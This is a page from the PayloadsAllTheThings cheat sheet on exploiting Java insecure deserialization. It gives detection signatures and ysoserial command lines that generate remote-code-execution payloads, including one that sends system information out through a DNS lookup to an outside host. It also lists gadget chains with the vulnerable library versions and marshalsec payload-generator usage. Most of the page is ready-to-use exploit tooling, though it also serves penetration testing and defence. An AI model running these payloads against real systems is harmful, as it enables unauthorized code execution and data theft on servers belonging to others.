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PayloadsAllTheThings/Insecure Deserialization/Java.md

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Java Deserialization

Detection

  • "AC ED 00 05" in Hex
  • "rO0" in Base64
  • Content-type = "application/x-java-serialized-object"
  • "H4sIAAAAAAAAAJ" in gzip(base64)

Exploit

ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
payload author dependencies impact (if not RCE)
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 file uploading
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl jre only vuln detect
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

Burp extensions using ysoserial

Other tools

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

 where
  -a - generates/tests all payloads for that marshaller
  -t - runs in test mode, unmarshalling the generated payloads after generating them.
  -v - verbose mode, e.g. also shows the generated payload in test mode.
  gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
  arguments - Gadget specific arguments

Payload generators for the following marshallers are included:

Marshaller Gadget Impact
BlazeDSAMF(0|3|X) JDK only escalation to Java serialization
various third party libraries RCEs
Hessian|Burlap various third party RCEs
Castor dependency library RCE
Jackson possible JDK only RCE, various third party RCEs
Java yet another third party RCE
JsonIO JDK only RCE
JYAML JDK only RCE
Kryo third party RCEs
KryoAltStrategy JDK only RCE
Red5AMF(0|3) JDK only RCE
SnakeYAML JDK only RCEs
XStream JDK only RCEs
YAMLBeans third party RCE

References